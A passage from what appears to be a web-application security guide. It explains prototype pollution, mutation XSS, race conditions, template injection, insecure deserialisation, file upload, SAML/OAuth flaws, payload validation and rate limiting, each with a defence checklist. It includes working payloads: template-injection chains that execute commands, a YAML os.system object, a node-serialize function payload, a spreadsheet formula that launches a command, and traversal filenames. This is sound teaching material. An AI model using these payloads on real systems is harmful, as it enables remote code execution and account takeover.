   "fixes up" the markup on insertion/re-serialisation -- moving nodes,
   closing tags, switching parsing context (HTML vs SVG vs MathML
   "foreign content", `<template>`, `<noscript>`, `<style>`, `<xmp>`) --
   and the fixed-up result contains executable markup the sanitiser never
   saw.
   DOMPurify has had multiple mXSS bypass CVEs (2019, 2020, 2024). It is
   still the right tool -- but only if kept current and used without
   re-parsing its output.

Defence:

   PROTOTYPE POLLUTION
     [ ] Reject keys `__proto__`, `constructor`, `prototype` in any
         merge/set/parse of untrusted input.
     [ ] Use `Object.create(null)` or `Map` for dictionaries you build
         from input.
     [ ] `Object.freeze(Object.prototype)` at startup (test for breakage).
     [ ] Node: run with `--disable-proto=delete` (or `throw`).
     [ ] Schema-validate input (JSON Schema / zod) -> unexpected keys
         rejected.
     [ ] Prefer `structuredClone` over hand-rolled deep clone; keep
         lodash/qs current; avoid recursive merge of untrusted data
         entirely.
   DOM CLOBBERING
     [ ] Sanitiser strips or namespaces `id`/`name` (DOMPurify:
         `SANITIZE_DOM: true` is default; `SANITIZE_NAMED_PROPS: true`).
     [ ] Never store security-relevant data in globals; use clos-ures /
         modules / explicit `const`.
     [ ] Explicit type checks: `typeof window.config === 'object' &&
         !(window.config instanceof HTMLElement)`.
   MUTATION XSS
     [ ] Keep DOMPurify (or your sanitiser) UPDATED; subscribe to its
         advisories.
     [ ] Don't re-parse sanitiser output (no innerHTML round-trip after
         sanitising).
     [ ] Prefer setting `textContent`, or building DOM nodes explicitly,
         over `innerHTML`.
     [ ] Trusted Types (`require-trusted-types-for 'script'`) to force all
         sink writes through a vetted policy.
     [ ] A strict CSP as the backstop (G1 Ch 43).

How it works

The core: TOCTOU on shared state.

   Typical vulnerable pattern:
     row = SELECT * FROM gift_cards WHERE code = ? AND used = false;  // check
     if (row) {
       credit_account(row.value);                                     // act
       UPDATE gift_cards SET used = true WHERE code = ?;              // commit
     }
   Fire 20 requests with the same code in parallel: all 20 run the SELECT
   before any UPDATE lands -> all 20 pass the check -> the card is
   redeemed 20 times.

Categories:

   LIMIT OVERRUN         the "once" operations: gift card / coupon /
     voucher / invite / referral / vote / "claim free trial" / withdraw /
     transfer / "downvote once" / rate-limit itself.
   MULTI-ENDPOINT        race two different requests: add-to-cart while
     the payment for the OLD total is in flight -> pay less; change email
     while a "confirm" for the old email is processing.
   SINGLE-ENDPOINT       two requests to the same endpoint with different
     data collide in a shared step.
   PARTIAL CONSTRUCTION / HIDDEN STATE   an object briefly exists
     half-initialised: user row created but `email_verified`/`mfa_enabled`
     not yet written; a session valid before the "is this device
     trusted?" check completes -> race a request into that window
     (e.g. 2FA bypass, use an account before verification).
   TIME-SENSITIVE       password-reset token still valid for a
     millisecond after use; OTP verify racing the "increment attempts"
     counter (unlimited guesses).

The single-packet attack (why it's reliable now):

   Over HTTP/1.1, "last-byte sync" (send all requests but hold back the
   final byte, then release them together) still leaves network jitter of
   a few ms -> races are flaky.
   Over HTTP/2, you can put the final frames of 20-30 requests into ONE
   TCP packet. The server receives them together; jitter between them is
   sub-millisecond. Burp's Turbo Intruder (`engine=Engine.BURP`,
   `gate`/`sendRequests` with the single-packet option) and the Repeater
   "send group in parallel (single-packet)" feature do this for you.

Defence — make the operation atomic:

   [ ] DB-level guarantees:
       - a UNIQUE constraint / partial index that a second insert
         violates ("redemption(card_id) UNIQUE").
       - conditional UPDATE that both checks and mutates:
         `UPDATE gift_cards SET used=true WHERE code=? AND used=false`
         then act only if `rows_affected == 1`.
       - `SELECT ... FOR UPDATE` (row lock) within the transaction.
       - atomic balance: `UPDATE accounts SET balance = balance - :amt
         WHERE id=:id AND balance >= :amt` (rows_affected check).
       - SERIALIZABLE isolation (accept the retry-on-conflict cost) for
         complex invariants.
   [ ] Optimistic locking: a `version` column; update `WHERE version=:v`;
       retry on mismatch.
   [ ] Idempotency keys: client sends a unique key; the server records it
       and returns the first result for duplicates (also fixes retries,
       Ch 28).
   [ ] Single-use tokens enforced by an atomic "consume" (delete-returning
       / compare-and-swap), not read-then-mark.
   [ ] Application-level locks (Redis `SET NX` with a TTL, Postgres
       advisory locks) keyed by the resource -- with care around lock
       expiry.
   [ ] Don't rely on rate limiting as the fix -- it reduces attempts, not
       the fundamental race, and the single-packet attack often fits
       under the limit.
   [ ] Test: a harness that fires N parallel identical requests and
       asserts exactly one succeeds.

How it works

Detection — differential evaluation:

   Inject a polyglot into every reflected parameter:
     ${{<%[%'"}}%\
   and engine-specific math:
     {{7*7}}      Jinja2, Twig, Nunjucks       -> 49
     ${7*7}       FreeMarker, Thymeleaf, JSP EL, SpEL   -> 49
     #{7*7}       Ruby (some), JSF EL
     <%= 7*7 %>   ERB, EJS
     {7*7}        (rare)
     ${7*'7'}     type-coercion differential to distinguish engines
   If `49` (or an error revealing the engine) comes back where `7*7`
   went in -> SSTI. `${7*7}` rendering but `{{7*7}}` not -> FreeMarker/
   Velocity/EL family; the reverse -> Jinja/Twig family.

Escalation (a few canonical chains):

   Jinja2 (Python):
     {{ ''.__class__.__mro__[1].__subclasses__() }}   -> enumerate classes
     {{ cycler.__init__.__globals__.os.popen('id').read() }}
     {{ self.__init__.__globals__.__builtins__.__import__('os')
        .popen('id').read() }}
     {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
     (SandboxedEnvironment raises the bar but has had bypasses.)
   Twig (PHP):
     {{ ['id']|filter('system') }}
     {{ _self.env.registerUndefinedFilterCallback('exec') }}
     {{ _self.env.getFilter('id') }}
   FreeMarker (Java):
     <#assign ex="freemarker.template.utility.Execute"?new()>${ex('id')}
     ${"freemarker.template.utility.ObjectConstructor"?new()(...)}
   Velocity (Java):
     #set($e=$x.class.forName('java.lang.Runtime').getRuntime())
     $e.exec('id')
   Thymeleaf (Java, expression preprocessing):
     __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
   Smarty (PHP):  {system('id')}   {php}...{/php}
   Handlebars / Pug / Nunjucks (JS):  constructor/prototype chains ->
     require('child_process').execSync('id')
   EXPRESSION LANGUAGE:
     SpEL (Spring):  ${T(java.lang.Runtime).getRuntime().exec('id')}
       -- Spring Data / SpEL in @Value, @PreAuthorize, query hints, SSTI
       via Thymeleaf.
     OGNL (Struts2):  %{(#a=@java.lang.Runtime@getRuntime().exec('id'))}
       -- the S2-0xx CVE family.
     MVEL / JEXL / OGNL in other frameworks -- same shape.

Defence:

   [ ] NEVER build a template from user input by concatenation. User data
       is a CONTEXT VARIABLE passed to a pre-defined template:
         render("email.html", {name: user.name})     // safe
         render("Hello " + user.name + "!")           // SSTI
   [ ] Don't let users supply templates. If a product feature genuinely
       needs user-authored templates (email designer, report builder):
         - use a LOGIC-LESS engine (Mustache) or a strict sandbox
           (Jinja2 SandboxedEnvironment, Twig sandbox extension) -- and
           know sandboxes have had escapes; keep them patched.
         - render in an ISOLATED process: no filesystem beyond what's
           needed, no network egress, seccomp, CPU/mem/time limits,
           non-root -> a sandbox escape yields a locked box.
         - allowlist the variables/filters/tags exposed to the template.
   [ ] Expression Language: don't pass user input into SpEL/OGNL/MVEL
       evaluation contexts (Spring `@Value`, `SpelExpressionParser` on
       user data, Struts OGNL). Use parameterised APIs; keep the framework
       patched (the Struts OGNL and Spring SpEL CVE history is long).
   [ ] WAF signatures for `{{`, `${T(`, `#{`, `__$` help as defence in
       depth, not as the fix (encoding/whitespace bypasses).

How it works

Why it's RCE and not just "weird objects": the serializer, on reading the stream, constructs objects and calls lifecycle methods (readObject, __wakeup/__destruct, __reduce__, readExternal, deserialization callbacks). A "gadget chain" is a sequence of classes already on your classpath whose lifecycle methods, when wired together via the crafted object graph, end in Runtime.exec / ProcessBuilder / system() / a JNDI lookup / a reflected method call.

   JAVA
     Sink: `ObjectInputStream.readObject()` on untrusted data. Also RMI,
       JMX, JNDI (Log4Shell class), some JSON libs with type info
       (Jackson `enableDefaultTyping`, `fastjson` autotype), XMLDecoder,
       `Yaml.load` (SnakeYAML).
     Chains: Apache Commons-Collections (1-7), Commons-BeanUtils, Spring,
       Groovy, ROME, C3P0, Hibernate, Click, Vaadin -- `ysoserial`
       generates payloads for ~30.
     Recognise: magic bytes `AC ED 00 05` (hex) / base64 starts `rO0`.
     Also: gadget chains that trigger a JNDI lookup -> LDAP/RMI ->
       remote class load (the Log4Shell mechanism) even without a local
       exec gadget.
   .NET
     Sinks: `BinaryFormatter` (removed in .NET 9, still everywhere in
       .NET Framework), `LosFormatter` / `ObjectStateFormatter` ->
       ASP.NET VIEWSTATE (if MAC disabled OR the machineKey is known/
       default -> RCE), `SoapFormatter`, `NetDataContractSerializer`,
       `Json.NET` with `TypeNameHandling != None`, `JavaScriptSerializer`
       + a `SimpleTypeResolver`, `fastJSON`, `XmlSerializer` with an
       attacker-controlled type, `DataContractSerializer` similarly.
     Tool: `ysoserial.net` (TypeConfuseDelegate, ActivitySurrogate-
       Selector, ObjectDataProvider, ...). ViewState: `--generator=` +
       the machineKey.
   PYTHON
     Sinks: `pickle.loads` / `cPickle` / `_pickle`, `shelve`, `dill`,
       `pandas.read_pickle`, `numpy.load(allow_pickle=True)`,
       `joblib.load`, `torch.load` (pre-2.6 default), `yaml.load` without
       `SafeLoader` (`!!python/object/apply:os.system ['id']`),
       `jsonpickle`.
     Mechanism: a class defines `__reduce__(self): return (os.system,
       ('id',))` -> unpickling calls it. Trivial to write; no gadget
       hunting needed.
   PHP
     Sink: `unserialize()` on untrusted input -> POP chains via magic
       methods (`__wakeup`, `__destruct`, `__toString`, `__call`,
       `__get`) of classes in the app + frameworks (Laravel, Symfony,
       Monolog, Guzzle, ...). Tool: `PHPGGC`.
     PHAR: `phar://` wrapper triggers `unserialize` of the phar's
       metadata on ANY filesystem op (`file_exists`, `fopen`,
       `getimagesize`, `is_file`, ...) with a crafted `.phar` -- no
       explicit `unserialize()` call needed (mostly PHP < 8, but check).
   RUBY
     Sinks: `Marshal.load`, `YAML.load` (Psych: `--- !ruby/object:...`),
       `Oj.load` in some modes, `CSV` with converters.
     "Universal" gadget chains exist for recent Ruby/Rails
       (`universal_deserialisation_gadget`).
   NODE
     Sinks: `node-serialize` (`{"x":"_$$ND_FUNC$$_function(){...}()"}`
       -> IIFE RCE), `serialize-javascript` misused, `funcster`, `cryo`.
       Also prototype pollution via `JSON.parse` + merge (Ch 34).

Defence:

   [ ] DON'T deserialize untrusted data with a native serializer. Use a
       DATA format with no code semantics: JSON (plain), Protocol Buffers,
       MessagePack, CBOR -- parsed into known DTOs / schemas.
   [ ] If you MUST accept a serialized object:
       Java  -- `ObjectInputFilter` (JEP 290): an ALLOWLIST of expected
                classes + limits (depth, refs, array size). Reject
                everything else. Consider SerialKiller / NotSoSerial.
       .NET  -- don't use BinaryFormatter; `Json.NET` with
                `TypeNameHandling.None`; ViewState: enable MAC +
                encryption, unique per-app `machineKey`, `ViewStateUserKey`.
       Python-- `yaml.safe_load` always; never unpickle untrusted; if a
                trusted pickle must cross a boundary, HMAC-sign it and
                verify before loading. `torch.load(weights_only=True)`.
       PHP   -- `json_decode`; `unserialize($data, ['allowed_classes' =>
                false])`; set `phar.readonly=1`; be wary of filesystem
                functions on user-controlled paths (phar).
       Ruby  -- `YAML.safe_load` (permitted_classes allowlist); `JSON`.
   [ ] Type-info in JSON: Jackson -> never `enableDefaultTyping` /
       `@JsonTypeInfo` with a permissive base; fastjson -> `safeMode`.
   [ ] Integrity: sign serialized blobs you legitimately round-trip
       through a client (HMAC), and verify before deserializing --
       though "don't deserialize untrusted" is still better.
   [ ] Network: the deserializing process with no outbound (kills JNDI/
       LDAP remote class load) and least privilege.

How it works

Threats:

   EXECUTION       upload `shell.php` (or `.phtml`, `.php5`, `.asp`,
     `.aspx`, `.jsp`, `.svg`, `.html`) to a location the web server
     executes or serves same-origin. Bypasses: double extension
     (`x.php.jpg` + a misconfigured Apache), null byte (`x.php%00.jpg`,
     legacy), case (`.pHp`), trailing dot/space, `.php.` , content-type
     spoof, a valid image with PHP appended (polyglot), `.htaccess`
     upload to re-map handlers, alternate data streams (Windows).
   POLYGLOT        a file that is BOTH a valid image AND valid HTML/PHP/JS.
     Served as an image but the browser/engine treats it as the dangerous
     type (MIME sniffing, or the app serves it with the wrong type). GIFAR
     (GIF + JAR). Defeated by `X-Content-Type-Options: nosniff` + correct
     types + a separate content origin.
   PARSER RCE / SSRF  the server processes the upload:
     ImageMagick  -- "ImageTragick" (CVE-2016-3714): MSL/MVG, `|` and
       `https://` delegates -> RCE and SSRF. Mitigate with `policy.xml`
       (disable coders: MSL, MVG, EPHEMERAL, URL, HTTPS, TEXT, SHOW, WIN,
       PLT; set resource limits).
     Ghostscript  -- `-dSAFER` bypasses (CVE-2018-16509, -19475, ...) ->
       RCE via crafted PostScript/EPS/PDF. Keep patched; sandbox.
     ExifTool     -- CVE-2021-22204: a crafted DjVu file -> Perl code
       injection -> RCE (this is how GitLab was popped). Restrict or drop
       ExifTool; run sandboxed.
     ffmpeg       -- HLS/`concat`/`file:`/`http:` in a crafted playlist
       (.m3u8/.avi) -> arbitrary file read (SSRF-like) server-side.
       Restrict protocols (`-protocol_whitelist`), no network.
     libraw / libtiff / libpng / libjpeg-turbo / poppler / mupdf -- native
       memory-safety CVEs; keep patched, sandbox.
     XML-based (SVG, DOCX, XLSX)  -- XXE (Ch 32).
   FILENAME / PATH   `../../etc/cron.d/x`, `..%2f`, `....//`, absolute
     paths, UNC paths, unicode/overlong, null bytes -> write outside the
     upload dir, overwrite files.
   ARCHIVES         zip-slip (`../` in entry names -> write anywhere on
     extraction); symlink entries (extract a symlink then a file through
     it); zip bombs / nested archives (decompression DoS, Ch 28).
   CSV / SPREADSHEET  formula injection: a cell starting `=`, `+`, `-`,
     `@`, or a tab/CR -> when the victim opens the export in Excel/Sheets,
     `=cmd|'/c calc'!A1` / `=HYPERLINK(...)` / data exfil via a web
     query. RCE on the DOWNLOADER's machine.
   PDF              embedded JS, `/Launch`, `/URI`, `/SubmitForm`,
     attachments, XFA; the renderer (pdfium/PDF.js/poppler) is the
     surface.

Defence:

   STORAGE
     [ ] Store OUTSIDE the web root, ideally in object storage (S3/GCS)
         with a random opaque key. Never use the user's filename in a
         path; generate one.
     [ ] Serve user content from a SEPARATE origin (usercontent.example)
         that has no cookies, no same-origin trust, a restrictive CSP,
         and forces `Content-Disposition: attachment` +
         `X-Content-Type-Options: nosniff` + a correct/whitelisted
         `Content-Type` (or `application/octet-stream`).
     [ ] The upload dir/bucket: no execute, no script handlers, no
         `.htaccess`/`web.config` interpretation.
   VALIDATION
     [ ] Validate type by MAGIC BYTES / a real detector (libmagic,
         `file`), not extension or `Content-Type`. Then also re-encode
         where feasible (decode + re-encode the image; convert to a
         canonical format) -- this destroys most polyglots and embedded
         payloads.
     [ ] Enforce size, dimensions, page/entry counts, decompression ratio.
     [ ] For SVG: sanitize (DOMPurify SVG profile) or rasterize; never
         serve raw SVG inline same-origin.
     [ ] For CSV export: prefix cells starting with = + - @ (and control
         chars) with a `'`, or quote-and-escape per the CSV-injection
         guidance.
   PARSING
     [ ] Do it in an ISOLATED sandbox: a container/VM/gVisor with NO
         network egress, minimal filesystem, non-root, seccomp,
         CPU/mem/time limits. A parser RCE then yields a locked box, and
         parser SSRF has nowhere to go.
     [ ] Keep parsers patched; disable features you don't need
         (ImageMagick `policy.xml`, ffmpeg `-protocol_whitelist`,
         Ghostscript `-dSAFER`, drop ExifTool).
     [ ] Consider Content Disarm & Reconstruction (CDR) / AV as defence in
         depth for documents.
   [ ] Rate-limit and quota uploads (Ch 28).

How it works

SAML attacks:

   XML SIGNATURE WRAPPING (XSW)
     The SAML Response contains a signed element (the Assertion, or the
     Response). The attacker adds a SECOND, unsigned, malicious Assertion
     and re-arranges the XML so:
       - the signature-verification code still finds and validates the
         ORIGINAL signed element (signature checks out), BUT
       - the application's business logic (a different XPath / a
         `getElementsByTagName("Assertion")[0]` / a different DOM walk)
         reads the INJECTED assertion -> attacker becomes admin@victim.
     Root cause: "what is verified" != "what is consumed". 8 canonical
     XSW patterns (position of the injected element, referencing tricks).
   GOLDEN SAML (CyberArk, 2017)
     Steal the IdP's TOKEN-SIGNING PRIVATE KEY (e.g. from ADFS:
     `ADFS/PrivateKey`, or the signing cert). Then forge ARBITRARY valid
     assertions offline -- any user, any SP, any groups, any validity --
     with NO interaction with the IdP and NO log there. Persistent until
     the key is rotated. Used post-SolarWinds (UNC2452) for cloud
     persistence.
   SIGNATURE EXCLUSION / STRIPPING
     SP accepts an assertion with NO signature, or `WantAssertionsSigned=
     false`, or only checks the Response signature while consuming an
     unsigned Assertion.
   COMMENT / CANONICALIZATION INJECTION
     NameID = `admin@victim.com<!---->.attacker.com`. If the SP's XML text
     extraction stops at the comment (canonicalization quirk) it reads
     `admin@victim.com` -> takeover. (Duo/Uber/GitHub/others, 2018 --
     "The road to hell is paved with SAML assertions".)
   XXE in the SAML parser (Ch 32).
   REPLAY
     No one-time `Assertion ID` tracking, missing/!checked `NotOnOrAfter`,
     `NotBefore`, `InResponseTo` -> replay a captured assertion.
   AUDIENCE / RECIPIENT / DESTINATION not validated
     An assertion minted for SP-A is accepted by SP-B.
   RelayState -> open redirect / reflected XSS.
   IdP-initiated SSO -- no `InResponseTo` to bind, CSRF-like; prefer
     SP-initiated.
   Library CVEs: `ruby-saml` (multiple critical XSW/DoS, 2024-2025 --
     GitLab/others), `python3-saml`, `xmlsec`, many vendor SDKs.

Advanced OAuth/OIDC:

   redirect_uri
     - must be EXACT-match against a registered value, on the AUTH request
       AND validated again on the TOKEN request. Attacks: an open redirect
       on the client's allowed domain, path/`../`/`%2e` tricks,
       `?`/`#`/`@`/`\` parser confusion, `localhost` or wildcard
       subdomains allowed -> steal the `code`.
   state
     - missing / not validated -> login CSRF, forced login, "code
       injection" (attacker gets a code for THEIR account, delivers the
       callback URL to the victim -> victim's app session is now linked to
       the attacker's IdP identity -> account takeover; or victim is
       logged into the attacker's account -> data harvested).
   OAuth MIX-UP (RFC 9207 fixes it)
     Client supports multiple IdPs. A malicious/compromised IdP tricks the
     client into sending the `code` (or accepting a token) meant for
     IdP-A to IdP-B (the attacker). Mitigation: the `iss` parameter in the
     authorization response, validated; a distinct redirect_uri per IdP.
   ID TOKEN validation
     - not checking signature (`alg:none`; JWKS spoofing via `jku`/`jwk`/
       `kid` header injection; RS256->HS256 key confusion, G1 Ch 46),
       `iss`, `aud`, `exp`, `nonce`. Using an ACCESS token as proof of
       identity (no `aud` for your client, may be opaque).
   kid / jku games
     - `kid` used in a file path / SQL / command -> injection.
     - `jku` pointing at an attacker JWKS if not pinned/allowlisted.
     - `jwk` header (embedded key) trusted.
   PKCE downgrade
     - if the AS doesn't bind "started with PKCE" to "must finish with a
       verifier", an attacker strips PKCE and replays an intercepted code.
   Refresh tokens
     - not rotated, no reuse detection, not sender-constrained (DPoP /
       mTLS) -> a stolen refresh token = indefinite access.
   Scope / consent
     - scope escalation on refresh; "illicit consent grant" / OAuth
       consent phishing -- a malicious app requests broad scopes
       (`Mail.Read`, `offline_access`) and a tricked user consents ->
       persistent mailbox access with no password involved (a major M365/
       Google Workspace attack pattern).
   ACCOUNT LINKING / PRE-ACCOUNT-TAKEOVER
     - the app links a "Sign in with Google" identity to a local account
       by EMAIL without verifying control -> attacker pre-registers the
       victim's email locally; victim later federates in and is merged
       into the attacker's account (or vice versa). Require verified email
       + re-auth before linking.
   Device code flow phishing; dynamic client registration abuse;
   front/back-channel LOGOUT not implemented (session survives IdP
   logout).

Defence (both):

   SAML
     [ ] Use a maintained library, CURRENT version. Track its CVEs.
     [ ] Require signed assertions; validate that the signature COVERS the
         exact element you consume (schema-aware validation, reference
         checking) -- or sign the whole Response and consume only from the
         verified tree. Reject multiple assertions.
     [ ] Validate Audience, Recipient, Destination, NotBefore/NotOnOrAfter
         (with small skew), InResponseTo, and enforce ONE-TIME use of the
         Assertion ID (a replay cache).
     [ ] Disable DTD processing in the SAML XML parser (XXE).
     [ ] Canonicalization-safe NameID/attribute extraction (no
         comment-truncation).
     [ ] Prefer SP-initiated; treat IdP-initiated as higher risk or
         disable.
     [ ] Protect the IdP signing key like a root CA (HSM); monitor IdP
         issuance vs SP consumption to catch Golden SAML; rotate on
         suspicion.
   OAUTH/OIDC
     [ ] OAuth 2.1 / RFC 9700: authorization-code + PKCE for ALL clients,
         no implicit, no ROPC, EXACT redirect_uri matching (auth AND
         token request).
     [ ] Enforce `state` (CSRF) and, in multi-IdP, the `iss` response
         parameter (RFC 9207).
     [ ] Validate every ID-token claim + `nonce`; pin JWKS or allowlist
         `jku`; ignore `jwk`; pin the expected `alg`.
     [ ] Rotate refresh tokens with reuse detection; consider DPoP /
         mTLS-bound tokens for high value.
     [ ] Minimise requested scopes; admin-review third-party OAuth apps in
         the tenant (consent-grant governance); alert on new grants of
         sensitive scopes.
     [ ] Require verified email + step-up auth before account linking.
     [ ] Implement back-channel logout.

How it works

Positive vs negative validation — the same distinction as WAF rules (Ch 40C), applied at the application boundary:

   NEGATIVE (blocklist)   try to detect and reject KNOWN-BAD patterns.
     Always incomplete -- you're enumerating an infinite attack surface.
   POSITIVE (allowlist)   define EXACTLY what a valid payload looks like
     (a JSON Schema / OpenAPI schema / protobuf definition) and reject
     ANYTHING that doesn't match -- type, format, range, required fields,
     additional-properties. Finite, enforceable, and it fails closed.

   Enforce the schema at the EDGE (API gateway or a validation middleware
   that runs before any business logic), not deep inside a handler where
   it's easy to forget on a new endpoint.

What a payload validation gate should check, beyond "is this valid JSON":

   [ ] SCHEMA CONFORMANCE   every field's type, format (email, uuid, date-
       time), and allowed values; `additionalProperties: false` so unknown
       fields are REJECTED, not silently ignored (this is what stops mass
       assignment/overposting at the gate, before it ever reaches an ORM
       that might blindly bind the whole body to a model -- G1 Ch 45).
   [ ] SIZE AND SHAPE LIMITS   max body size, max array length, max string
       length, max object nesting depth, max number of distinct keys.
       (Ch 28's DoS-input limits, applied specifically to the payload
       parser itself -- a deeply nested JSON object is the JSON analogue
       of Ch 32's XML entity-expansion bomb.)
   [ ] TYPE COERCION / CONFUSION   many frameworks silently coerce types:
       a "price" field expecting a number that instead receives the STRING
       "0" or the ARRAY ["0","OR","1=1"] can flow into a database driver
       or a comparison in ways the developer never tested. Reject the
       WRONG TYPE outright; never coerce silently on a security-relevant
       field.
   [ ] DUPLICATE KEYS   `{"role":"user","role":"admin"}` -- the JSON spec
       doesn't define which duplicate wins, and different parsers
       (the gateway vs the app, or two different libraries in the same
       app) can pick DIFFERENT ones. This is a payload-level PARSER
       DIFFERENTIAL, structurally the same class of bug as Ch 30's request
       smuggling (two components disagreeing about what a message means).
       Reject payloads with duplicate keys rather than silently picking
       one.
   [ ] NUMERIC PRECISION   a huge integer or a value with more precision
       than the backend's numeric type can hold can silently overflow or
       truncate (`"quantity": 99999999999999999999`) -- validate numeric
       RANGES explicitly, don't trust "it's a number" to mean "it's a safe
       number."
   [ ] CONTENT-TYPE ENFORCEMENT   if an endpoint expects
       `application/json`, REJECT requests with any other declared or
       sniffed content type. An endpoint that "helpfully" accepts JSON,
       XML, AND form-encoded bodies on the same route multiplies its
       attack surface (an XXE payload smuggled in as XML to an endpoint
       everyone assumed was JSON-only) and, per Ch 40C, gives a WAF tuned
       for one format nothing to inspect in the other.
   [ ] CHARACTER-SET AND NORMALISATION   reject control characters and
       null bytes in string fields outright; normalise Unicode (NFC)
       BEFORE validating, never after (G1 Ch 7) -- the same principle,
       applied to every string field in the payload, not just usernames.
   [ ] UNSAFE CONSUMPTION OF THE RESPONSE   payload security isn't only
       about what you ACCEPT -- an app that calls a third-party API and
       renders a field from its JSON response (a city name from a
       geolocation API, a product title from a partner feed) without the
       SAME output-encoding discipline as user input (G1 Ch 43) has just
       made a "trusted" upstream payload into a stored-XSS vector. Treat
       every external API response as untrusted input too (this is
       OWASP's API10:2023, Chapter 40E).

Where this differs by transport:

   REST/JSON     JSON Schema or your framework's request-validation layer
                (Pydantic, Zod, class-validator, a JSON Schema middleware
                at the gateway) -- reject on the first schema violation,
                return a generic 400, don't echo the offending value back
                verbatim (avoids reflecting an XSS/injection payload into
                an error page).
   XML/SOAP      the schema IS the XML Schema (XSD) -- validate against it
                with DTDs disabled (Ch 32); a payload that doesn't
                validate against the XSD is rejected before any entity
                resolution is even attempted.
   GraphQL       the "schema" is the GraphQL schema itself, but that alone
                doesn't bound COST -- pair it with query depth/complexity
                limits and disable introspection in production (Ch 40E's
                API4/API9 discussion).
   gRPC/protobuf  the .proto definition IS the schema and is strongly
                typed by design -- the remaining risks are message-size
                limits (Part 5 Ch 26), unknown-field handling, and any use
                of `google.protobuf.Any` (a dynamic type field), which
                reintroduces a type-confusion surface if the receiving
                code doesn't strictly validate which concrete type it
                actually got.

How it works

The algorithms, and their trade-offs:

   FIXED WINDOW        count requests in a fixed clock interval (e.g. per
                       minute); simplest, cheapest -- but allows up to 2x
                       the intended rate at a window boundary (a burst
                       just before AND just after the reset).
   SLIDING WINDOW LOG   store every request's timestamp, count how many
                       fall in the trailing window; accurate, but memory
                       cost grows with request volume.
   SLIDING WINDOW
   COUNTER              approximates the sliding log cheaply by weighting
                       the current and previous fixed windows -- the
                       common, practical middle ground.
   TOKEN BUCKET         a bucket refills at a steady rate and holds up to
                       a burst CAPACITY; a request consumes a token, is
                       rejected if the bucket is empty. Naturally allows
                       controlled bursts while capping the sustained rate.
   LEAKY BUCKET         requests queue and are processed at a fixed
                       outflow rate -- smooths bursts into a steady stream
                       rather than allowing them.
   GCRA (Generic Cell
   Rate Algorithm)       a mathematically equivalent, more memory-
                       efficient way to implement token-bucket-like
                       behaviour with a single stored value (a "theoretical
                       arrival time") per key instead of a bucket state --
                       this is what Cloudflare and several API gateways
                       use at scale specifically because it's cheap to
                       store per-key in a distributed cache.

The dimensions that actually matter for an API (not just "per IP"):

   PER API KEY / CLIENT ID    the primary dimension for an authenticated
     API -- ties abuse to an accountable, revocable identity rather than
     an IP address that's trivially rotated or shared (a corporate NAT,
     a mobile carrier's CGNAT).
   PER USER / ACCOUNT          independent of which key/device they used --
     catches an attacker who spreads requests across multiple API keys
     registered to the same compromised account.
   PER ENDPOINT + METHOD        a login endpoint and a product-listing
     endpoint have wildly different legitimate request rates; ONE global
     limit either starves the busy, harmless endpoint or leaves the
     sensitive one wide open.
   PER TIER/PLAN                free/pro/enterprise customers get
     different limits -- both a product decision and a security one (a
     free-tier account is a cheaper foothold for an attacker, so it
     deserves a TIGHTER limit on sensitive actions).
   PER IP                       still worth keeping as a coarse BACKSTOP
     (catches unauthenticated abuse before an API key even exists, e.g.
     against a public signup or login endpoint) -- but never the ONLY
     dimension for anything authenticated.
   BUSINESS-ACTION SPECIFIC     independent of raw request volume: "how
     many password reset emails can this account trigger per hour,"
     "how many times can this coupon code be checked," "how many
     purchase attempts per session" -- this is OWASP API6:2023's
     "unrestricted access to sensitive business flows" (Ch 40E), and it
     needs its OWN limit dimension distinct from general request-rate
     limiting.

Where it's enforced, and the response contract:

   EDGE/CDN            volumetric, coarse, cheap -- stops the largest,
     least-targeted abuse before it reaches your infrastructure at all.
   API GATEWAY          per-key/per-plan/per-endpoint enforcement (Kong,
     Apigee, AWS API Gateway usage plans, Azure APIM) -- the layer that
     actually understands "who is this client" via the API key/OAuth
     token.
   DISTRIBUTED, APPLICATION-LEVEL   a shared Redis-backed counter (an
     atomic `INCR`+`EXPIRE`, or better, a single Lua script so the
     check-and-increment is ATOMIC -- a naive check-then-increment across
     two Redis round trips is itself a Ch 6-Ch-35-style race condition:
     enough parallel requests can all read the pre-increment count before
     any of them writes it back) -- needed for limits that must be
     consistent across MANY service replicas, not just one gateway
     instance. Envoy's rate-limit service (a centralised gRPC service
     every proxy instance calls) is the standard pattern at real scale.

   RESPONSE: `429 Too Many Requests` with a `Retry-After` header, PLUS
   the informational headers so well-behaved clients back off correctly:
     `RateLimit-Limit`, `RateLimit-Remaining`, `RateLimit-Reset`
       (the current IETF draft standard), or the long-standing de facto
     `X-RateLimit-Limit` / `X-RateLimit-Remaining` / `X-RateLimit-Reset`
       convention (GitHub's, Stripe's, and many other public APIs' actual
     header names) -- pick one convention and be consistent; don't do the
     expensive part of the request BEFORE checking and rejecting.

   FAIL-OPEN VS FAIL-CLOSED on limiter-store outage: the SAME decision
   as Part 5 Ch 28 -- lean fail-closed (with a cheap LOCAL fallback limit
   that works without the shared store) for auth/OTP/password-reset
   endpoints specifically, fail-open with an alert for general read
   traffic.

Rate-limit bypass techniques — know these, because attackers use them routinely against real APIs:

   IP ROTATION           residential-proxy networks or a botnet spread a
     credential-stuffing or scraping attack across thousands of source
     IPs, each individually well under any per-IP threshold. -> defence:
     per-account/per-credential-attempted limiting (count FAILED LOGINS
     for a given username regardless of source IP), not per-IP alone.
   HEADER SPOOFING        if the rate limiter naively trusts a client-
     supplied `X-Forwarded-For` header as "the real client IP" (rather
     than the value your OWN load balancer appended), the attacker just
     sets a new fake IP on every request and resets their own limit
     every time. -> defence: only trust `X-Forwarded-For`/`X-Real-IP`
     from your own trusted edge, and strip/overwrite anything a client
     sent for that header before it reaches the limiter (G1/Part 2's
     "don't trust client-supplied forwarded headers" rule, applied here).
   PATH/CASE VARIATION    `/api/users`, `/API/users`, `/api/users/`, and
     `/api//users` may be treated as DIFFERENT rate-limit keys by a naive
     limiter keyed on the raw, unnormalised path -- multiplying the
     effective limit by however many equivalent forms exist. -> defence:
     normalise the path BEFORE using it as a rate-limit key.
   PARALLEL / RACE-CONDITION BYPASS    fire many requests at once (Ch 35's
     single-packet technique applies directly here) so they all read the
     pre-increment counter value before any of them commits their
     increment -- a genuine, well-documented bug-bounty pattern used to
     brute-force OTP/2FA codes and password-reset tokens against major
     consumer platforms by racing dozens of guesses through a
     check-then-increment limiter faster than it could commit each one.
     -> defence: an ATOMIC check-and-increment (a single Redis Lua
